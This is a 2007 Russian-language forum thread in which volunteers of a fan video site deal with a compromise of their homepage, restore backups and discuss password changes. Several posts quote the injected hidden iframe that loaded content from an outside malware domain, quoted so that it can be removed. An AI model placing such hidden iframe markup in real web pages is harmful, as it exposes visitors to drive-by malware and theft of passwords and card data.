Отправлено: 29.06.07 10:52. Заголовок: Вирусё!

Господа такое дело, на главной странице АнтиОпер'а завелось вредоносное по. Но похоже оно работает только с ИЕ. Так что проверяйте. А то эта хрень убила систему тов. Муфасе

 Отправлено: 29.06.07 11:02. Заголовок: Re:

Ёпрст!А хтунг!

 Отправлено: 29.06.07 11:07. Заголовок: Re:

Касперский его блокирует?

 Отправлено: 29.06.07 11:14. Заголовок: Re:

занятно занятно. на хостинге который антиопер юзает разрешон только статический HTML
на нём ничего толкового не зделаеш. да и как он ткда проникнуть умуднился невполне ясно.
у Муфасса что бало из зищитного ПО?

 Отправлено: 29.06.07 11:27. Заголовок: Re:

так каспер отловил на главной только фишинг (поднобности у каспера на сайте)
http://www.viruslist.com/ru/glossary?glossid=152428853

похоже что какимто макаром в заглавную страницу антиопера помистили перенаправление на другую страницу
отредактировать её обратно и сменить пороль админенье сайта на чтонить максимально заковыкистое

 Отправлено: 29.06.07 11:37. Заголовок: Re:

В смысле? Нужно заменить заглавную страницу на такую же но новую?
И как сменить пароль?

 Отправлено: 29.06.07 11:37. Заголовок: Re:

MrClon

Dr.Web

Он отловил Win32.Limar, какой-то PsyMe javascipt и ещё какую-то невразумительную хрень

 Отправлено: 29.06.07 11:43. Заголовок: Re:

Дааа
здаётся мне много чего там копашится сейчас :(
ну хотябы вишинг отаку я локализовал

цитата:

<iframe src='http://ltraffic.biz/resource.php?id=4313&user=vod' width='1' height='1' style='visibility: hidden;'></iframe>

первая строчка дефаулт.html

 Отправлено: 29.06.07 11:55. Заголовок: Re:

RomireS пишет:

цитата:

Он отловил Win32.Limar, какой-то PsyMe javascipt и ещё какую-то невразумительную хрень

а у тебя это вылазит?

 Отправлено: 29.06.07 12:26. Заголовок: Re:

у меня ниче не вылазит, ибо у меня антивируса нет

 Отправлено: 29.06.07 12:28. Заголовок: Re:

Народ! Мне, как единственному на данный момент админу, что делать?

 Отправлено: 29.06.07 14:05. Заголовок: Re:

в коде заглавной странице попробывать убрать это (оставив на всякий пожарный резервную копию)

<iframe src='http://ltraffic.biz/resource.php?id=4313&user=vod' width='1' height='1' style='visibility: hidden;'></iframe>

 Отправлено: 29.06.07 16:15. Заголовок: Re:

Мой док Веб тоже его заприметил, какято Джава скрипт

 Отправлено: 29.06.07 19:30. Заголовок: Re:

Oxid мне кажется что удаление означиной выше строки будет вполне достаточно
ну и надо остальные htmlки проверить на предмет чегото похожего

 Отправлено: 29.06.07 20:07. Заголовок: Re:

Ага. В описаниях вируса пишет что крадёт пароли, номера кредиток и так далее...

 Отправлено: 29.06.07 20:25. Заголовок: Re:

как я понял на главной просто написона переадресация на сайт злоумышленников (поидее на нём тебе скажут что это сайт твоего банка и ты долженн ввести сюда номер своего счёта и пароль иначе, или что то в этом роде)
также на том сайте на который переадресация имеется кучя всякоий вирусни (до кучи)
мой касмеп при заходе на главную антиопера орёт что мол "фишинг атака" и спрашивает хочю ли я перейти на сайт (разрешить ли переадревацию) который по его мнению является фишинг сайтом (ну видемо так оно и есть. хатя возможно что никаких предложений ввести номер счёта там нет а просто куча вирусов)
я себе не враг и по этому не разрешал переадресапцию на тот сайт
видимо доктор веб не предотвращяет переадресацию и юзер паподает на страницу злоумышленников на которой суде по всему куча вирусов
часть вирусов др.веб ловит а остальные мочят винду

"Мараль сей басни такова:" Oxid удали строчку <iframe src='http://ltraffic.biz/resource.php?id=4313&user=vod' width='1' height='1' style='visibility: hidden;'></iframe> из default.html

 Отправлено: 29.06.07 20:33. Заголовок: Re:

Мой NOD32 уже два дня ругается на этот вирус, когда я пытаюсь зайти на сайт...

 Отправлено: 29.06.07 21:29. Заголовок: Re:

В коде страницы такой строчки нет. Я заменил заглавную страницу. У меня никаких вирусов не обнаружено. Проверьте.

 Отправлено: 29.06.07 23:14. Заголовок: Re:

да, теперь всё вроде пучком.
а пароль надо сменить (вот рениратор поролей http://genpas.narod.ru/)
чтоб сменить пороль надо зайти на сайт провайдера залогиниться под тем логином поролем которые сейчас (скорее всего теже что и для FTP доступа) и гденить там будет кнопочка сменить пороль.
хатя хорошо бы сначало с сидоровом посоветоваться

 Отправлено: 30.06.07 00:12. Заголовок: Re:

Где ж его найдешь-то, Сидорова... Оно со сменой пароля горит?

 Отправлено: 30.06.07 00:17. Заголовок: Re:

да я вот даже и не знаю
но перестраховаться непомешает, неисключено что скора эта возрадится

 Отправлено: 30.06.07 14:11. Заголовок: Re:

я воскрес!
во первых - MrClon просьба Мустафой меня не называть - мне обидно
во вторых - вирусьё атаковало стремительно и беспощадно, создав много файлов на рабочем столе, а также залезло в какой-то загрузочный файл который я удалил с помошью антивируса. После чего после перезагрузки ОС даже на загрузилась, но сейчас переставил Винду и я снова в строю
ах, да, из защиты был доктор Веб

 Отправлено: 30.06.07 21:06. Заголовок: Re:

Сори.

 Отправлено: 11.07.07 00:26. Заголовок: Re:

возродилась. Обновление заглавной страницы помогает не на долго. Последний раз гребаный вирус вообще заменил заглавную страницу на какую-то хрень. Связываюсь с Участковым. Может он знает, что делать. А пока каждое утро буду заглавную страницу обновлять.

 Отправлено: 11.07.07 09:08. Заголовок: Re:

Проблема еще хуже, чем я думал. Вирус поразил страницы, дубликатов которых у меня нет. Похоже, до приезда Сидорова нужно будет поставить сайт на реконструкцию...

 Отправлено: 11.07.07 10:41. Заголовок: Re:

Вай Вай Вай как харашо что я бакап зделал

заходи ко мне на фтп с логином Oxid и тем же поролем что и на лоад ап

 Отправлено: 11.07.07 10:45. Заголовок: Re:

Напомни пароль.

 Отправлено: 13.07.07 15:49. Заголовок: Re:

Oxid, почту я не проверял эти дни(ведь ты так со мной связывался?), так что извиняй. Зато сейчас чудом пробился на форум(чудо пока не сильно болит)
Короче говоря, придётся тебе писать письмо агавовским админам, т.к. кабинет у нас примитивный и пароль менять не позволяет.
Оффтоп: Всем здравия желаю Буду ли ещё на форуме - понятия не имею.

 Отправлено: 13.07.07 16:29. Заголовок: Re:

ты хоть куда так уехал? и кагда вернёшся?

 Отправлено: 13.07.07 18:54. Заголовок: Re:

Участковый Сидоров , уже все. Проблема решена. Сайт скоро заработает.

 Отправлено: 15.07.07 16:56. Заголовок: Re:

MrClon пишет:

цитата:

ты хоть куда так уехал? и кагда вернёшся?

Дык не раз уже писал вроде, что вернусь 21 июля.

 Отправлено: 18.07.07 16:19. Заголовок: Re:

С вэб страниц мы вирус удалили, но по ходу эта тварь поразила видео-файлы (или ссылки на них, что вряд ли). Есть предложения на этот счет?

 Отправлено: 18.07.07 16:56. Заголовок: Re:

ВИДИО ФАЙЛЫ ЗАРАЗИТЬ НЕЛЬЗЯ!!!
ссылки тоже, их можно испортить, их можно подменить ссылками на что то другое.

 Отправлено: 18.07.07 17:00. Заголовок: Re:

Ну вот пример битой ссылки

цитата:

http://www.anti-oper.ru/FILMS/GONFILM/Ludi-Krestik_Series/Ludi-Krestik_Series_01.html

а должно быть

цитата:

http://www.anti-oper.ru/FILMS/GONFILM/Ludi-Krestik_Series/Ludi-Krestik_Series_01.avi

кагда я зеркало делал видимо с настройками напутал
так что теперь либо это зеркало крапотливо в чювства приводить илбо заново ваять либо надеятся что у сидорова нармальное сохранилось

 Отправлено: 18.07.07 17:30. Заголовок: Re:

Ох уж мне этот вэб-дизайн... Ладно. До приезда Сидорова немного осталось. Подождем. Нет - так будем восстанавливать.

 Отправлено: 18.07.07 19:32. Заголовок: Re:

вродибы починил index.html
попробую страницы студий

так наладил кодировки во всей папке translat
надо ещё с картинками разобраться, но я не знаю где они на сервере лежат

в studios кодировку тоже обработал

какие там ещё проблеммы кроме кодировок и картинок

 Отправлено: 18.07.07 20:08. Заголовок: Re:

возможно я повторяюсь но
Oxid кагда мы с тобой пороли горячку по поводу вирусни, вешали месагу мол "сайт здох и ваще пиздец" ты случайно не принял решения потереть на сервере всё кроме фильмов?
картинки ты не удалил часом?

Так всё я спать а вы посмотрите что ещё нетак и отпишитесь

вот мои наработки http://slil.ru/24648549

 Отправлено: 19.07.07 14:32. Заголовок: Re:

Блин. Че-то не качает. Выложи на ФТП.

 Отправлено: 19.07.07 16:49. Заголовок: Re:

вроде выложино
я тебе помних логин пороль высылал
нужный архив называется www.anti-oper.ru(HFv1.1).rar

пути к картинкам придётся все наверное ручками править
причём тебе это сильно сподручней

 Отправлено: 19.07.07 18:29. Заголовок: Re:

Ты забыл сделать главный индекс и страничку крестиков с новыми обновлениями. У тебя там только премьера серии 203.

 Отправлено: 19.07.07 19:27. Заголовок: Re:

Так за обновления никто ничего не говорил
Ты у нас нынче главный вебмастер
темболее мне проедостовляется разумным преостановить обновление сайта до полного урегулирокания слодивщийся ситуации. надо веть ещё и с картинками разобраться а это как я говогил тебе сподручней (хочеш попробую "мануал" тебе набросать, только наверно попозже сейчас устал после работы)